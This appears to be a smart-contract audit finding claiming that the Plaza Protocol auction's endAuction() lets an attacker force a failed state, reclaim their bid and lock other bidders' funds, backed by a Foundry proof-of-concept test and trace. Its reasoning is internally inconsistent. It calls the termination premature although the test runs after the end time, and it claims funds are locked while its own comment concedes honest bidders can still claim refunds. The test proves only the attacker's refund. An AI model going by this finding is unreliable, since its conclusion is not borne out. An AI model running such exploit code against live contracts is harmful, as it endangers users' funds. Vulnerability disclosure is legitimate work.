Damp Cornflower Albatross
High
The Premature Auction Termination Leading to Fund Locking vulnerability exists within the Auction.sol
contract of the Plaza Protocol. This vulnerability allows any participant to prematurely end an auction in a FAILED_UNDERSOLD
state before the totalBuyCouponAmount
is met. Consequently, this action enables the malicious actor to reclaim their bid without affecting the auction outcome adversely, while other legitimate bidders are left unable to finalize their participation, effectively locking their funds.
-
Fund Locking for Legitimate Bidders: Honest participants who place valid bids intending to acquire coupons cannot finalize their bids if an attacker terminates the auction early. Their invested
sellCouponAmount
becomes irretrievable as the auction transitions to a failed state. -
Attacker Advantage: The attacker gains the ability to disrupt the auction process without incurring any financial loss. By forcing the auction into a
FAILED_UNDERSOLD
state, the attacker ensures their funds are refundable while leaving other bidders at a loss.
This vulnerability introduces a high-level risk due to the potential for significant financial loss to legitimate users and the ease with which an attacker can exploit this flaw without detection or repercussion. The flaw undermines the core functionality and trust in the auction mechanism, which is fundamental to the Plaza Protocol's operations.
The vulnerability arises from the endAuction()
function, which can be invoked by any participant once the auction's end time has been reached. The function evaluates whether the currentCouponAmount
meets the totalBuyCouponAmount
. If not, it transitions the auction state to FAILED_UNDERSOLD
. Importantly, this state change allows the caller to reclaim their sellCouponAmount
via the claimRefund()
function. However, it inadvertently prevents other legitimate bidders from claiming their intended buyReserveAmount
, effectively locking their funds.
-
Bid Placement:
- Bidders place their bids by specifying
buyReserveAmount
andsellCouponAmount
. - These bids are stored and managed within a sorted linked list based on bid competitiveness.
- Bidders place their bids by specifying
-
Auction Termination:
- Once the auction's
endTime
is surpassed, any participant can invokeendAuction()
. - If
currentCouponAmount
is less thantotalBuyCouponAmount
, the auction state changes toFAILED_UNDERSOLD
.
- Once the auction's
-
Refund Mechanism:
- The attacker, having placed a bid, can call
claimRefund()
to retrieve theirsellCouponAmount
. - Legitimate bidders are left unable to claim their
buyReserveAmount
as the auction is marked as failed.
- The attacker, having placed a bid, can call
The following test case demonstrates the exploit:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test} from "forge-std/Test.sol";
import {Auction} from "../src/Auction.sol";
import {Token} from "./mocks/Token.sol";
import {Utils} from "../src/lib/Utils.sol";
import {Pool} from "../src/Pool.sol";
import {PoolFactory} from "../src/PoolFactory.sol";
import {Deployer} from "../src/utils/Deployer.sol";
import {OracleFeeds} from "../src/OracleFeeds.sol";
import {Distributor} from "../src/Distributor.sol";
import {BondToken} from "../src/BondToken.sol";
import {LeverageToken} from "../src/LeverageToken.sol";
import {UpgradeableBeacon} from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";
contract AuctionManipulationTest is Test {
Auction auction;
Token couponToken; // e.g. USDC
Token reserveToken; // e.g. WETH
address attacker = address(0xbad0);
address honestBidder = address(0xb1d);
address house = address(0x1337);
address governance = address(0xdead);
address securityCouncil = address(0x999);
address pool;
function setUp() public {
// Deploy tokens
couponToken = new Token("MockUSDC", "USDC", false);
reserveToken = new Token("MockWETH", "WETH", false);
// Setup a Pool with the tokens
pool = createPool(address(reserveToken), address(couponToken));
// Deploy and initialize Auction via Utils.deploy
vm.startPrank(pool);
auction = Auction(
Utils.deploy(
address(new Auction()),
abi.encodeWithSelector(
Auction.initialize.selector,
address(couponToken),
address(reserveToken),
5000_000000, // totalBuyCouponAmount
block.timestamp + 3 days,
1000, // maxBids
house,
110 // poolSaleLimit (in %)
)
)
);
vm.stopPrank();
// Distribute tokens to attacker, honestBidder
couponToken.mint(attacker, 1_000_000 ether);
couponToken.mint(honestBidder, 1_000_000 ether);
// Approve Auction
vm.startPrank(attacker);
couponToken.approve(address(auction), type(uint256).max);
vm.stopPrank();
vm.startPrank(honestBidder);
couponToken.approve(address(auction), type(uint256).max);
vm.stopPrank();
}
function createPool(address _reserve, address _coupon) internal returns (address) {
// Governance sets up everything
vm.startPrank(governance);
// Deploy supporting contracts
address deployer = address(new Deployer());
address oracleFeeds = address(new OracleFeeds());
// Beacons
address poolBeacon = address(new UpgradeableBeacon(address(new Pool()), governance));
address bondBeacon = address(new UpgradeableBeacon(address(new BondToken()), governance));
address levBeacon = address(new UpgradeableBeacon(address(new LeverageToken()), governance));
address distBeacon = address(new UpgradeableBeacon(address(new Distributor()), governance));
// Factory
PoolFactory factory = PoolFactory(
Utils.deploy(
address(new PoolFactory()),
abi.encodeCall(
PoolFactory.initialize,
(
governance,
deployer,
oracleFeeds,
poolBeacon,
bondBeacon,
levBeacon,
distBeacon
)
)
)
);
// Grant roles
factory.grantRole(factory.GOV_ROLE(), governance);
factory.grantRole(factory.POOL_ROLE(), governance);
factory.grantRole(factory.SECURITY_COUNCIL_ROLE(), securityCouncil);
// Fake deposit
Token(_reserve).mint(governance, 10_000_000 ether);
Token(_reserve).approve(address(factory), type(uint256).max);
// Create Pool
PoolFactory.PoolParams memory params;
params.fee = 0;
params.reserveToken = _reserve;
params.couponToken = _coupon;
params.distributionPeriod = 30 days;
params.sharesPerToken = 1000000;
params.feeBeneficiary = house;
address newPool = factory.createPool(
params,
100_000 ether, // deposit reserve tokens
1000 * 1e18, // bond tokens minted
1000 * 1e18, // leverage tokens minted
"bondToken",
"BOND",
"levToken",
"LEV",
false
);
vm.stopPrank();
return newPool;
}
// -----------------------------------------------------------------------------
// Exploit demonstration
// -----------------------------------------------------------------------------
function testPrematureAuctionEnd() public {
// Both attacker and an honest bidder place bids
vm.startPrank(attacker);
auction.bid(1000 ether, 10000_000); // Attacker's bid
vm.stopPrank();
vm.startPrank(honestBidder);
auction.bid(500 ether, 5000_000); // Honest bid
vm.stopPrank();
// Fast-forward to after the auction endTime
vm.warp(block.timestamp + 4 days);
// Attacker ends the auction, forcing FAILED_UNDERSOLD
vm.startPrank(attacker);
auction.endAuction();
// Auction now in FAILED_UNDERSOLD
// Attacker calls claimRefund()
auction.claimRefund(1); // bidIndex=1 is attacker's
vm.stopPrank();
// The honest bidder’s funds are stuck:
// They can’t do claimBid() because the auction is failed, not succeeded.
// We'll assert final states to confirm the exploit
(,,,,, bool attackerClaimed) = auction.bids(1);
assertTrue(attackerClaimed, "Attacker didn't successfully claim refund");
// Because it's in a failed state, honestBidder's claimBid() is impossible
// They can only call claimRefund() if they've triggered endAuction() themselves
// but that won't return them the reserve token. The attacker effectively forced everyone else into a losing scenario.
}
}
Test Results:
Ran 1 test for test/AuctionManipulation.t.sol:AuctionManipulationTest
[PASS] testPrematureAuctionEnd() (gas: 531588)
Traces:
[534388] AuctionManipulationTest::testPrematureAuctionEnd()
├─ [0] VM::startPrank(0x000000000000000000000000000000000000BAd0)
│ └─ ← [Return]
├─ [279576] ERC1967Proxy::fallback(1000000000000000000000 [1e21], 10000000 [1e7])
│ ├─ [274342] Auction::bid(1000000000000000000000 [1e21], 10000000 [1e7]) [delegatecall]
│ │ ├─ [37072] Token::transferFrom(0x000000000000000000000000000000000000BAd0, ERC1967Proxy: [0xB67aF5DE7C133Eb7256c8Bf29227db0529144f18], 10000000 [1e7])
│ │ │ ├─ emit Transfer(from: 0x000000000000000000000000000000000000BAd0, to: ERC1967Proxy: [0xB67aF5DE7C133Eb7256c8Bf29227db0529144f18], value: 10000000 [1e7])
│ │ │ └─ ← [Return] true
│ │ ├─ emit BidPlaced(bidIndex: 1, bidder: 0x000000000000000000000000000000000000BAd0, buyReserveAmount: 1000000000000000000000 [1e21], sellCouponAmount: 10000000 [1e7])
│ │ └─ ← [Return] 1
│ └─ ← [Return] 1
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(0x0000000000000000000000000000000000000B1D)
│ └─ ← [Return]
├─ [153105] ERC1967Proxy::fallback(500000000000000000000 [5e20], 5000000 [5e6])
│ ├─ [152371] Auction::bid(500000000000000000000 [5e20], 5000000 [5e6]) [delegatecall]
│ │ ├─ [15172] Token::transferFrom(0x0000000000000000000000000000000000000B1D, ERC1967Proxy: [0xB67aF5DE7C133Eb7256c8Bf29227db0529144f18], 5000000 [5e6])
│ │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000B1D, to: ERC1967Proxy: [0xB67aF5DE7C133Eb7256c8Bf29227db0529144f18], value: 5000000 [5e6])
│ │ │ └─ ← [Return] true
│ │ ├─ emit BidPlaced(bidIndex: 2, bidder: 0x0000000000000000000000000000000000000B1D, buyReserveAmount: 500000000000000000000 [5e20], sellCouponAmount: 5000000 [5e6])
│ │ └─ ← [Return] 2
│ └─ ← [Return] 2
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::warp(345601 [3.456e5])
│ └─ ← [Return]
├─ [0] VM::startPrank(0x000000000000000000000000000000000000BAd0)
│ └─ ← [Return]
├─ [28219] ERC1967Proxy::fallback()
│ ├─ [27494] Auction::endAuction() [delegatecall]
│ │ ├─ emit AuctionEnded(state: 2, totalSellReserveAmount: 1500000000000000000000 [1.5e21], totalBuyCouponAmount: 5000000000 [5e9])
│ │ └─ ← [Return]
│ └─ ← [Return]
├─ [36299] ERC1967Proxy::fallback(1)
│ ├─ [35571] Auction::claimRefund(1) [delegatecall]
│ │ ├─ [7345] Token::transfer(0x000000000000000000000000000000000000BAd0, 10000000 [1e7])
│ │ │ ├─ emit Transfer(from: ERC1967Proxy: [0xB67aF5DE7C133Eb7256c8Bf29227db0529144f18], to: 0x000000000000000000000000000000000000BAd0, value: 10000000 [1e7])
│ │ │ └─ ← [Return] true
│ │ ├─ emit BidRefundClaimed(bidIndex: 1, bidder: 0x000000000000000000000000000000000000BAd0, sellCouponAmount: 10000000 [1e7])
│ │ └─ ← [Return]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [3517] ERC1967Proxy::fallback(1) [staticcall]
│ ├─ [2762] Auction::bids(1) [delegatecall]
│ │ └─ ← [Return] 0x000000000000000000000000000000000000BAd0, 1000000000000000000000 [1e21], 10000000 [1e7], 2, 0, true
│ └─ ← [Return] 0x000000000000000000000000000000000000BAd0, 1000000000000000000000 [1e21], 10000000 [1e7], 2, 0, true
├─ [0] VM::assertTrue(true, "Attacker didn't successfully claim refund") [staticcall]
│ └─ ← [Return]
└─ ← [Return]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 46.66ms (6.58ms CPU time)
Ran 1 test suite in 1.27s (46.66ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
- The attacker successfully placed a bid and, after the auction end time, invoked
endAuction()
. - The auction state transitioned to
FAILED_UNDERSOLD
. - The attacker was able to reclaim their
sellCouponAmount
viaclaimRefund()
. - The honest bidder's funds remained locked, preventing them from claiming their intended
buyReserveAmount
.
The Premature Auction Termination vulnerability has several critical impacts on the Plaza Protocol:
-
Financial Loss for Legitimate Bidders:
- Honest users who place bids intending to purchase coupons are unable to finalize their bids, resulting in their
sellCouponAmount
being irretrievable. - This loss undermines user trust and can lead to a decline in platform participation.
- Honest users who place bids intending to purchase coupons are unable to finalize their bids, resulting in their
-
Exploitation by Malicious Actors:
- Attackers can disrupt auction processes without any financial risk, gaining an unfair advantage and potentially manipulating future auction outcomes.
- This behavior can deter new users and investors from engaging with the Plaza Protocol.
Tools Used: Manual Review and Foundry.
Restrict Access to endAuction()
:
- Implementation: Modify the
endAuction()
function to include access control, allowing only the Pool contract or a designated authorized role to invoke it. - Benefit: Prevents unauthorized participants from prematurely terminating the auction, ensuring only trusted entities can finalize auction states.